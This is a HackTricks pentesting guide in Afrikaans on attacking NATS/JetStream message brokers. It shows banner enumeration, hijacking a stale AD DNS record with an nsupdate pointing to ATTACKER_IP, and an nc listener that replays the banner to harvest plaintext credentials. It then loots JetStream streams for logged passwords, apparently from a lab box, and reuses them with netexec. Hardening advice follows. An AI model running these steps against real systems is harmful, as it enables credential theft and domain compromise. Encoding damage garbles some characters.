4222 - Pentesting NATS / JetStream
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die š¬ Discord groep of die telegram groep of volg ons op Twitter š¦ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
NATS is ān hoĆ«prestasie-berigbus wat ān eenvoudige, teksgebaseerde protokol gebruik: die server stuur onmiddellik na ān TCP-verbinding ān INFO { ... } JSON-banner, en die kliĆ«nt antwoord met ān CONNECT {"user":"USERNAME","pass":"PASSWORD",...}-frame gevolg deur opsionele PING/PUB/SUB-kommandoās. JetStream voeg persistentie-primitiewe (Streams & Consumers) bo-op dieselfde TCP-poort (4222/tcp). TLS en verifikasie is opsioneel, sodat baie interne implementerings plaintext AUTH gebruik.
- Standaard poort: 4222/tcp (4223+ vir geclusterde roetes)
- Standaard banner-velde:
"version","auth_required","jetstream","max_payload","tls_required"
Enumerasie
Banner grabbing / service probes
nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open nats NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}
Die INFO frame kan ook handmatig opgehaal word:
echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'
Installeer die amptelike CLI (Go ā„1.21) vir dieper interaksie:
go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt
Outentiseringsfoute veroorsaak onmiddellik nats: Authorization Violation, dus is geldige creds nodig vir enige sinvolle RPC.
Credential capture via DNS/service impersonation
- Identifiseer verouderde AD DNS-inskrywings vir die broker-hostname (bv.
nats-svc.domain.local). As die rekordNXDOMAINteruggee, kan ān domeingebruiker met lae bevoegdhede dit herkrees danksy die verstek dynamic-update ACLs. Sien AD DNS Records abuse vir agtergrond. - Registreer die hostname op ān aanvaller-beheerde IP:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
- Spieƫl die legitieme banier een keer, en speel dit dan vir elke verbindende kliƫnt af. NATS vertrou die eerste
INFO-reĆ«l wat dit sien, dus hoef ons dit net deur ān luisteraar te pyp:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
- Sodra ān interne kliĆ«nt die gekaapte naam oplos, sal dit ān platte-tekst
CONNECT-raam uitstuur wat dieuser/pass-paar en verskeie telemetrie (kliƫntnaam, Go-weergawe, protokolvlak) bevat. Omdat niks verder as die INFO-banier benodig word nie, is selfsncgenoeg om geheime te oes. - Vir langer betrokkenhede, hardloop die amptelike bediener plaaslik (
git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). TRACE-logging wys reeds gebruikersname; die verwydering van die redaction helper of die afluister van verkeer met Wireshark openbaar die volledige wagwoord.
JetStream looting & password hunting
Sodra enige credential herwin is (bv. Dev_Account_A), stoor dit as ān CLI context om dit nie weer te hoef te tik nie:
nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
JetStream ontdekking volg gewoonlik hierdie patroon:
nats account info --context mirage # quotas, stream count, expiration
nats stream list --context mirage # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage
Streaming-spanne teken gereeld outhentiseringsgebeure aan in onderwerpe soos logs.auth. As ontwikkelaars die rou JSON in ān JetStream-stream stoor, kan die payloads AD-gebruikersname en wagwoorde in platte teks bevat:
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
Behoude geheime kan dan herhaal word teen Kerberos-only services deur netexec smb DC01 -u USER -p PASS -k te gebruik, wat volle domeinkompromittering moontlik maak.
Verharding & opsporing
- Dwing TLS af (
tls,tls_required, or mTLS viankey/creds). Sonder enkripsie, INFO/CONNECT leak inlogbewyse aan enigiemand op-pad. - Bepaal wie DNS kan bywerk ā delegeer diensrekords aan toegewyde rekeninge en oudit Event IDs 257/252 vir hoĆ«-waarde gasheername. Kombineer dit met scavenging alerts sodat ontbrekende broker name nie stilweg her-eis kan word nie.
- Skakel credential logging af. Skrop geheime voordat jy aan subjects publiseer, stel JetStream retensie-/ouderdomsbeperkings in, en pas
deny_delete=falseslegs toe op vertroude operateurs. - Moniteer vir banner-anomalieĆ« ā herhaalde kortstondige verbindings, authentiserings-timeouts, of INFO banners wat nie by die goedgekeurde sjabloon pas nie, dui op gespoofde servers.
Verwysings
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die š¬ Discord groep of die telegram groep of volg ons op Twitter š¦ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

